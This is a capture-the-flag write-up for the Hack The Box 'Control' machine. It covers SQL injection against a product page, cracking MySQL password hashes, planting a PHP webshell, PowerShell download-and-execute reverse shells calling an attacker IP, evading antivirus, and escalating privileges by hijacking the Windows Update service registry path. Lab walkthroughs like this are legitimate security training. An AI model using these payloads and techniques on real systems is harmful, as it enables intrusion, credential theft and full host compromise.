HTB Writeup: Control

How much control do you have on your own stuff?

Jun 23, 2022 7 min read

Enumeration

nmap scan

# Nmap 7.92 scan initiated Wed Jun 22 05:43:29 2022 as: nmap -sC -sV -T3 -oA nmap-tcp-all-ports -p- -iL ip.txt
Nmap scan report for 10.129.121.9 (10.129.121.9)
Host is up (0.070s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 10.0
|_http-title: Fidelity
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc   Microsoft Windows RPC
3306/tcp  open  mysql?
49666/tcp open  msrpc   Microsoft Windows RPC
49667/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 22 05:46:21 2022 -- 1 IP address (1 host up) scanned in 171.82 seconds

A web application is detected on port TCP/80. Visiting the application, the navigation bar has two interesting locations listed. Admin and Login. Both locations lead to admin.php
On visiting admin.php, a message is displayed.

Access Denied: Header Missing. Please ensure you go through the proxy to access this page
Visiting the home page again, and checking source code, an IP address is found: 192.168.4.28
By adding the header X-Forwarded-For with value 192.168.4.28, the admin page becomes accessible.
By clicking View on a product and intercepting the requests in a MITM proxy (BurpSuite here), it is found that a HTTP POST request is made with parameter productId in the request data.

The request is then saved to a file and sqlmap is executed to check for possible SQL Injection. Since port tcp/3306 was detected in nmap scans, there is a high probability of backend being MySQL Server, which is then confirmed by sqlmap’s basic testing.

POST parameter 'productId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 85 HTTP(s) requests:
---
Parameter: productId (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: productId=(SELECT (CASE WHEN (2431=2431) THEN 31 ELSE (SELECT 7302 UNION SELECT 4905) END))
   
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productId=31;SELECT SLEEP(5)#
   
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productId=31 AND (SELECT 1259 FROM (SELECT(SLEEP(5)))Eesi)
   
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: productId=31 UNION ALL SELECT CONCAT(0x716b707a71,0x6b4674726a726a53574d63507068586c4f4f516d67665778704d6d6a655a534a7579744b70534e70,0x7176767071)-- -
---
[06:22:56] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2019 or 2016 or 10
web application technology: PHP 7.3.7, Microsoft IIS 10.0

Initial Foothold

Exploiting SQL Injection

Using sqlmap again, databases are dumped and enumerated further for valuable information/credentials.
3 databases are identified:
1. information_schema
2. mysql
3. warehouse

On further enumeration, 3 hashes are retrieved:

hector:*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
manager:*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
root:*0A4A5CAD344718DC418035A1F4D292BA603134D8

hashid is used to identify the hash types, which are found to be MySQL hashes.

hashcat is then used to attempt recovering the plain text passwords from hashes. Wordlist of choice will be rockyou.txt

hashcat -m 300 -a 0 control.hashes -O G:\Wordlists\rockyou.txt
   
# -m to specify mode of hash (300 => MySQL)
# -a to specify attack mode (0 => Dictionary based attack)
# -O to use optimised kernel (performance enhancer, optional)

Untitled

Only hector’s password was available in the wordlist rockyou.txt. For other hashes, bruteforce or rule based attacks can be applied. hector:l33th4x0rhector
With using wordlist crackstation.txt, credentials for manager are recovered. manager:l3tm3!n
Current user is manager with FILE privileges, which allows for arbitrary file read and write. This privilege is the used to drop a PHP webshell in the web server directory C:\inetpub\wwwrootusing sqlmap’s --file-write functionality.
```
<?php system($_GET['cmd']); ?>
```
For reverse shell, an obfuscated version of [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) is used.

💡 The script had to obfuscated due to presence of anti virus and immediate removal of the powershell script from drive observed in initial testing. Obfuscation just involved removal of comments, and changing the function’s name.
Invoke-PowerShellTcp —> outfit And a direct command was ended at the end of the script: outfit -reverse -ipaddress 10.10.14.2 -port 9091 to reduce the need of invoking command after loading the Powershell script in powershell session.
```
powershell -ep bypass iex(iwr http://10.10.14.2:7070/obfuscated_rev.ps1 -usebasicparsing)
```
The web request that triggered the reverse shell chain was:
```
GET /shell_1.php?cmd=powershell%20-ep%20bypass%20iex(iwr%20http://10.10.14.2:7070/06222022_11_02_43/06222022_11_02_43.ps1%20-usebasicparsing) HTTP/1.1
Host: 10.129.121.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
A powershell session with user nt authority/iusr is obtained.

User access

Using the credentials for Hector obtained from MySQL database, a powershell command/process can be executed with privileges of Hector using Invoke-Command Commandlet and -credential parameter with creating a secure credential from username and password.

$username = 'Fidelity\hector'
$password = 'l33th4x0rhector'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
Invoke-Command -ComputerName 'Fidelity' -Credential $cred -ScriptBlock{iex(iwr http://10.10.14.2:7070/hector.ps1 -usebasicparsing)}
   
# hector.ps1 is the same previously obfuscated powershell script, except it'll connect back on port 9090 instead.

Untitled

Privilege Escalation

Enumeration

On basic enumeration, powershell history file (Located in the folder C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ folder) revealed two commands:
```
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
```

On checking Access Control Lists Rights (ACL Rights) on Services child item from HKLM\SYSTEM\CurrentControlset', it is found that the authenticated user Control\Hector has Full Control ACL rights on registry keys for Services, which implies Hector can modify any Service running on the remote host.

PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine> get-acl HKLM:\SYSTEM\CurrentControlSet\Services | format-list
   
Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  ReadKey
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         CONTROL\Hector Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
Audit  :
Sddl   : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;KR;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KA;;;S-1-5-21-3271572904-80546332
         -2170161114-1000)(A;CI;KR;;;AC)

To exploit this misconfigured ACL and escalate privileges, a service is required that runs with the privileges of a high privileged user. Get-ChildItem can be used to list all services running with their respective privileges.

Following command will list all the services registry that has 1 or more subkeys and have non null properties.

get-childitem HKLM:\SYSTEM\CurrentControlset\Services | ?{$_.Property -like "*"} | ?{$_.SubkeyCount -notlike 0} | format-list

It is found that CONTROL\Hector has full rights on registry keys for HKLM:\SYSTEM\CurrentControlset\Services\wuauserv, which is Windows Update Service, that runs with privileges of NT AUTHORITY\SYSTEM.

get-acl HKLM:\SYSTEM\CurrentControlset\Services\wuauserv | format-list
   
Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\wuauserv
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
NT AUTHORITY\SYSTEM Allow  FullControl
CREATOR OWNER Allow  FullControl
NT AUTHORITY\Authenticated Users Allow  ReadKey
NT AUTHORITY\SYSTEM Allow  FullControl
CONTROL\Hector Allow  FullControl
BUILTIN\Administrators Allow  FullControl
Audit  :
Sddl   : O:SYG:SYD:AI(A;CIID;KR;;;AC)(A;ID;KA;;;SY)(A;CIIOID;KA;;;CO)(A;CIID;KR;;;AU)(A;CIIOID;KA;;;SY)(A;CIID;KA;;;S-1
-5-21-3271572904-80546332-2170161114-1000)(A;CIID;KA;;;BA)

Exploitation

To exploit the Windows Service, a custom exe has to be crafted which can either add CONTROL\Hector to the group of Local Administrators, create a new user with Administrative privileges, or connect back to our remote listener.

On executing get-item HKLM:\SYSTEM\CurrentControlset\Services\wuauserv following attributes for the windows update service are obtained.

PS C:\temp> get-item HKLM:\SYSTEM\CurrentControlset\Services\wuauserv
   
    Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
   
Name                           Property
----                           --------
wuauserv                       DependOnService     : {rpcss}
                               Description         : @%systemroot%\system32\wuaueng.dll,-106
                               DisplayName         : @%systemroot%\system32\wuaueng.dll,-105
                               ErrorControl        : 1
                               FailureActions      : {128, 81, 1, 0...}
                               ImagePath           : C:\Windows\system32\svchost.exe -k netsvcs -p
                               ObjectName          : LocalSystem
                               RequiredPrivileges  : {SeAuditPrivilege, SeCreateGlobalPrivilege,
                               SeCreatePageFilePrivilege, SeTcbPrivilege...}
                               ServiceSidType      : 1
                               Start               : 3
                               SvcMemHardLimitInMB : 246
                               SvcMemMidLimitInMB  : 167
                               SvcMemSoftLimitInMB : 88
                               Type                : 32
                               ServiceDll          : C:\Windows\system32\wuaueng.dll

The property ImagePath points to the default svchost.exe. Since the user Hector has Full Control ACL over this registry, the ImagePath can be modified to point to a malicious executable.

For crafting a exe, it is to be kept in mind that there is an active antivirus on the remote host, hence msfvenom payloads won’t work well or will require AV Evasion techniques and/or obfuscations. Instead, a simple piece of code can work like the following:

#include <string.h>
#include <stdio.h>
#include "windows.h"
   
int main(){
   
    char* command = "cmd.exe /c \"powershell.exe -ep bypass iex(iwr http://10.10.14.2:7070/admin.ps1 -usebasicparsing)\"";
    system(command);
    return 0;
}
   
//admin.ps1 is the same obfuscated version of PowerShellTcp.ps1 with automatically connecting to 10.10.14.2:9092

This can be compiled into a executable. The executable then can be checked on VirusTotal for detection score.
The file service.exe is then downloaded and stored at C:\temp\service.exe
```
iwr http://10.10.14.2:7070/service.exe -outfile C:\temp\service.exe
```

Then, the registry can be modified using Set-ItemProperty commandlet available in powershell.

set-itemproperty -Path "HKLM:\SYSTEM\CurrentControlset\Services\wuauserv" -Name "ImagePath" -Value "C:\temp\service.exe"

Finally, the service is started using sc.exe . As soon as the service start, a reverse shell is obtained on listener running on TCP/9092 with privileges of nt authority\system
```
sc.exe start wuauserv
```

The remote host is now completely compromised.

Mayank Malik

ISC2 CC | Threat and Malware Analyst | Incident Response | Security Researcher

I am a tech-savvy person, Threat & Malware Analyst, and like to wander around to learn new stuff. Malware Analysis, Cryptography, Networking, and System Administration are some of my forte. I’m also a geek for computer hardware and everything around it. One of the Founding Members of CTF Team, Abs0lut3Pwn4g3. Team member at HashMob.net. Apart from the mentioned skills, I’m good at communication skills and am a goal-driven person. Yellow belt holder at pwn.college in pursuit of learning and achieving Blue Belt.

HTB Writeup: Control

Enumeration

nmap scan

Initial Foothold

Exploiting SQL Injection

User access

Privilege Escalation

Enumeration

Exploitation

Mayank Malik

ISC2 CC | Threat and Malware Analyst | Incident Response | Security Researcher

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